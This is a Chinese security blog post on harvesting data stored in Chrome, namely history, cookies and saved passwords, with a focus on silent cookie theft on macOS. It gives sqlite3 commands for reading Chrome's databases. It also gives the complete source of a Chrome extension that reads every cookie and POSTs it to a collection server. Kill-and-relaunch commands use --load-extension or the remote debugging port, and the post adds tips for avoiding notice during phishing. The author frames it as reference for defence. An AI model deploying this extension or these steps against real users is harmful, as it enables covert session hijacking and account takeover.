Chrome浏览器信息的收集

=Start=

缘由：

简单整理一下前段时间看到的和企业安全攻防相关的内容。这次主要介绍Chrome浏览器中存储的密码和cookie的常见获取方法，方便后面做防御策略的时候参考。

正文：

参考解答：

浏览器在信息收集过程中的重要性

浏览器可以认为是新时代的操作系统，承载了越来越多的功能，而且现在很多公司都在倡导平台化、线上化，将原来很多在线下完成的功能往线上系统迁移，比如在线文档等常用的办公OA系统……可以粗略认为浏览器是公司办公的主要入口，因此攻击者对于浏览器信息的重点收集也就可以理解了。

从浏览器中我们可以直接获取员工的历史访问/下载记录、常用书签等信息，从而了解到员工的操作习惯、工作种类、相关的内部常用系统；更进一步，还可以尝试获取浏览器中已保存的账号密码，用以登录SSO从而直接访问公司内部系统获取信息，或者尝试获取已登录网站的cookie来盗用该员工账号的身份进行内部系统的访问/操作。

Chrome浏览器因为它的功能性和安全性逐渐成为了现在的主流浏览器，自然而然的也就成了攻击者的主要关注对象，这里也以Chrome浏览器为例进行说明。

Windows和macOS在获取Chrome浏览器信息上的难易不同

在 Windows 系统里获取Chrome浏览器中保存的账号密码和cookie比较容易，一般直接用类似 HackBrowserData 这样的工具就行，主要是因为——“在Windows上，解密需要用到的secret key值存储在Profile Path上级路径的Local State文件中，字段encrypted_key为AES用到的key值。整个解密过程无需任何密码，只需可以访问Chrome数据文件便可完成解密。”
麻烦的是 macOS 系统，因为macOS系统的安全性限制，Google Chrome 的密钥存储在 Keychain 里面，如果你想获取明文密码，需要先提供当前电脑登录用户的密码来从Keychain中获取Chrome的密钥（会弹窗提醒，需要用户交互）；如果钓鱼过程中出现类似弹框很可能会引起用户的警觉从而导致钓鱼失败，所以在macOS系统上一般会选择通过（不弹窗）获取cookie来间接达到接管用户账号的目的。

访问记录/书签/cookie/账号密码文件查看示例

Chrome的数据文件存储路径可以通过在搜索框中输入 chrome://version 看到，其中个人资料路径 (Profile Path)就是存储路径，一般是 ~/Library/Application Support/Google/Chrome/Default/ 这个。

此路径下有 History/Bookmarks/Cookies/Login data 这四个文件用来存储对应的信息（除了 Bookmarks 是文本文件之外，另外3个都是SQLite数据库文件），拷贝至其它目录后使用 sqlite3 命令打开数据库文件即可完成表结构和相关信息的查看。

# 如果不拷贝直接查看打开文件会提示数据库已被锁定
$ cd ~/Library/Application\ Support/Google/Chrome/Default
$ sqlite3 History
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> .tables
Error: database is locked
sqlite>


# 将文件拷贝至当前目录进行查看
$ cp ~/Library/Application\ Support/Google/Chrome/Default/{History,Bookmarks,Cookies,Login\ Data} .

# 历史访问记录是没有加密的，可以用sqlite命令进行查看 urls 表
$ sqlite3 History
sqlite> .tables
clusters                 downloads_slices         typed_url_sync_metadata
clusters_and_visits      downloads_url_chains     urls
content_annotations      keyword_search_terms     visit_source
context_annotations      meta                     visits
downloads                segment_usage
downloads_reroute_info   segments
sqlite> .schema urls
sqlite> select * from urls order by id desc limit 10;
-- 注意表字段 last_visit_time 不是常见的那种 unix timestamp 取值，需要简单处理一下之后才能拿到对人可读的日期时间信息
sqlite> SELECT datetime(last_visit_time/1000000-11644473600, "unixepoch") as last_visited, url, title, visit_count FROM urls order by id desc limit 10;


# 书签是文本文件，也可以直接查看
$ cat Bookmarks | head
$ cat Bookmarks | grep -A2 '"name"'


# cookie信息的key是明文，但是对应的value是加密存放在 cookies 表中的 encrypted_value 字段中，需要密码按规范进行解密才能拿到明文内容
$ sqlite3 Cookies
sqlite> .tables
cookies  meta
sqlite> .schema meta
CREATE TABLE meta(key LONGVARCHAR NOT NULL UNIQUE PRIMARY KEY, value LONGVARCHAR);
sqlite> .schema cookies
CREATE TABLE cookies(creation_utc INTEGER NOT NULL,host_key TEXT NOT NULL,top_frame_site_key TEXT NOT NULL,name TEXT NOT NULL,value TEXT NOT NULL,encrypted_value BLOB NOT NULL,path TEXT NOT NULL,expires_utc INTEGER NOT NULL,is_secure INTEGER NOT NULL,is_httponly INTEGER NOT NULL,last_access_utc INTEGER NOT NULL,has_expires INTEGER NOT NULL,is_persistent INTEGER NOT NULL,priority INTEGER NOT NULL,samesite INTEGER NOT NULL,source_scheme INTEGER NOT NULL,source_port INTEGER NOT NULL,is_same_party INTEGER NOT NULL,last_update_utc INTEGER NOT NULL);
CREATE UNIQUE INDEX cookies_unique_index ON cookies(host_key, top_frame_site_key, name, path);
sqlite>
sqlite> select count(1) as cnt from cookies;
sqlite> select * from cookies limit 5;


# 账号密码信息中的密码是加密存放在 logins 表中的 password_value 字段中，需要密码按规范进行解密才能拿到明文内容
$ sqlite3 Login\ Data
sqlite> .tables
field_info              meta                    sync_entities_metadata
insecure_credentials    password_notes          sync_model_metadata
logins                  stats
sqlite> .schema logins
CREATE TABLE IF NOT EXISTS "logins" (origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, times_used INTEGER, form_data BLOB, display_name VARCHAR, icon_url VARCHAR, federation_url VARCHAR, skip_zero_click INTEGER, generation_upload_status INTEGER, possible_username_pairs BLOB, id INTEGER PRIMARY KEY AUTOINCREMENT, date_last_used INTEGER NOT NULL DEFAULT 0, moving_blocked_for BLOB, date_password_modified INTEGER NOT NULL DEFAULT 0, UNIQUE (origin_url, username_element, username_value, password_element, signon_realm));
CREATE INDEX logins_signon ON logins (signon_realm);
sqlite> select count(1) as cnt from logins;
sqlite> select * from logins limit 5;


# 具体的解密逻辑可以参考 HackBrowserData 中的代码，理论上现在 win/mac 的主要区别就在于获取获取解密密钥方法的不同——win系统上解密密钥直接存在本地文件中，通过调取相关系统API即可自动完成解密；mac系统上解密密钥存在Keychain中，需要用户主动输入正确的电脑密码之后才能拿到解密密钥，再来完成后面的解密步骤，过程中需要用户交互。

macOS系统上静默获取浏览器cookie的思路验证

经过实际测试发现下面2种方式都可以实现cookie的获取，具体选择哪种方式可以按需选择（不过就我个人来看，加载插件这个相对来说简易快速一点）：

如若Chrome已启动，需先停用正在运行的Chrome，然后通过启动时加载恶意Chrome插件（load-extension）来获取cookie
如若Chrome已启动，需先停用正在运行的Chrome，然后利用启动时开启Chrome的远程调试功能（remote-debugging-port），通过调试接口来获取所有的cookie

# 停用正在运行的Chrome
killall "Google Chrome"

# 说明：不论是思路1还是思路2在不使用 --user-data-dir 选项的情况下都可以成功，测试的Chrome版本是当前的最新版本 105.0.5195.125

# 思路1：加载插件的方式
# 在启动之后当前浏览器中的所有cookie立即一次性的就发送到了远端
# 出于隐蔽起见，可以考虑服务端接收到了数据之后立即将多的命令行参数去掉
# 然后用无参数的命令进行启动，或是加上 restore-last-session 参数也行
terminal1> python py_flask_server.py

terminal2> /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=./chrome_get_cookie


# 思路2：使用远程调试的方式
terminal1> /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9099

terminal2> curl -s 127.0.0.1:9099/json
terminal2> curl -s 127.0.0.1:9099/json | grep -A2 '"url"'
terminal2> websocat ws://127.0.0.1:9099/devtools/page/xxxxxxx
ws> {"id": 1, "method": "Network.getCookie"}
ws> {"id": 1, "method": "Network.getAllCookies"}


# Chrome浏览器命令行相关参数
说明：Chrome的绝大多数命令行参数只有在所有的Chrome进程都停止后，再启动时指定才会生效。
(Most of the command-line flags are only effective when all existing instances of Chrome that corresponds to the chrome profile have been terminated.)

--restore-last-session 浏览器崩溃后，使用此选项恢复浏览器最近浏览的选项卡（这个选项对于killall方式杀掉的Chrome还是很有用的，否则容易引起注意）

--load-extension 指定要加载的Chrome插件文件夹路径

--remote-debugging-port=9099 指定远程调试的端口

--user-data-dir 指定要加载的用户浏览器数据文件夹（实测发现不指定的情况下是常规的那种，指定了反而是新的空白页面）


# chrome_get_cookie插件的目录结构示例
chrome_get_cookie
├── getcookie.js #后台脚本
├── manifest.json #清单文件
└── popup.html #popup页面

## chrome_get_cookie -> manifest.json
## 用于指定后台脚本的名称，并做权限说明
{
  "name": "getCookie",
  "manifest_version": 2,
  "version": "1.0",
  "description": "getCookie 扩展程序",
  "browser_action": {
    "default_popup": "popup.html"
  },
  "background": {
    "scripts": ["getcookie.js"],
    "persistent": false
  },
  "permissions": [
    "https://*/*",
    "http://*/*",
    "cookies"
  ]
}

## chrome_get_cookie -> getcookie.js
## 用于取cookie的相关字段并将整理后的内容通过HTTP POST到远端服务器
chrome.cookies.getAll({}, function (cks){
    var result = Array();
    cks.forEach(function(ck){
        var m_ck = {};
        m_ck["domain"] = ck.domain
        m_ck["name"] = ck.name;
        m_ck["value"] = ck.value;
        m_ck["hostOnly"] = ck.hostOnly;
        m_ck["path"] = ck.path;
        result.push(m_ck);
    });
    (function(data){
        var url = 'http://127.0.0.1:9999/';
        fetch(url, {
                method: 'POST',
                body: JSON.stringify(data),
                headers: new Headers({
                    'Content-Type': 'application/json'
                })
        });
    }(result));
});

参考链接：

HackBrowserdata，绕过验证获取浏览器密码和历史记录的工具
https://www.isharepc.com/28240.html

HackBrowserData 一款可全平台运行的浏览器数据导出解密工具。
https://github.com/moonD4rk/HackBrowserData

BrowserGhost 一个抓取浏览器密码的工具 #Windows
https://github.com/QAX-A-Team/BrowserGhost

mac下的浏览器cookie盗取
https://mp.weixin.qq.com/s/2vPua1Tqvi4ffUEoP7OwUQ

mac浏览器密码获取难？教你两种方法，轻松搞定
https://zhuanlan.zhihu.com/p/499379236

MacOS下无密码dump chrome cookie
https://saucer-man.com/information_security/787.html

Command-line client for WebSockets
https://github.com/vi/websocat

chrome_get_cookie: 利用chrome扩展 dump 浏览器cookie
https://github.com/saucer-man/chrome_get_cookie/blob/master/getcookie.js

chrome.cookies
https://developer.chrome.com/docs/extensions/reference/cookies/

chrome-extensions-samples/ cookie-clearer/
https://github.com/GoogleChrome/chrome-extensions-samples/tree/main/api/cookies/cookie-clearer

渗透技巧——离线导出Chrome浏览器中保存的密码
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81

渗透技巧——导出Chrome浏览器中保存的密码
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81

奇安信攻防社区-抓取Chrome所有版本密码
https://forum.butian.net/share/591

获取当前系统所有用户的谷歌浏览器密码
https://blog.csdn.net/weixin_44216796/article/details/113761631

Python获取Chrome浏览器已保存的所有账号密码
https://www.lijiejie.com/python-get-chrome-all-saved-passwords/

浏览器导出密码
https://yinhaoqin.com/%E5%9F%9F%E5%AE%89%E5%85%A8/%E6%94%BB%E5%87%BB%E6%88%98%E6%9C%AF/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%AF%BC%E5%87%BA%E5%AF%86%E7%A0%81/

How to Convert Chrome Browser History Sqlite Timestamps with Osquery
https://stackoverflow.com/questions/61197346/how-to-convert-chrome-browser-history-sqlite-timestamps-with-osquery

–load-extension parameter for chrome doesn’t work
https://stackoverflow.com/questions/25064523/load-extension-parameter-for-chrome-doesnt-work

Chrome 扩展编写入门
https://developer.chrome.com/docs/extensions/mv3/getstarted/

10分钟入门chrome(谷歌)浏览器插件开发
https://juejin.cn/post/6904797929056239630

从零深入Chrome插件开发
https://xieyufei.com/2021/11/09/Chrome-Plugin.html

=END=

28 9 月, 2022

Docker

KnowledgeBase, Security, Tools

chrome, WebSocket, 企业安全, 信息收集, 钓鱼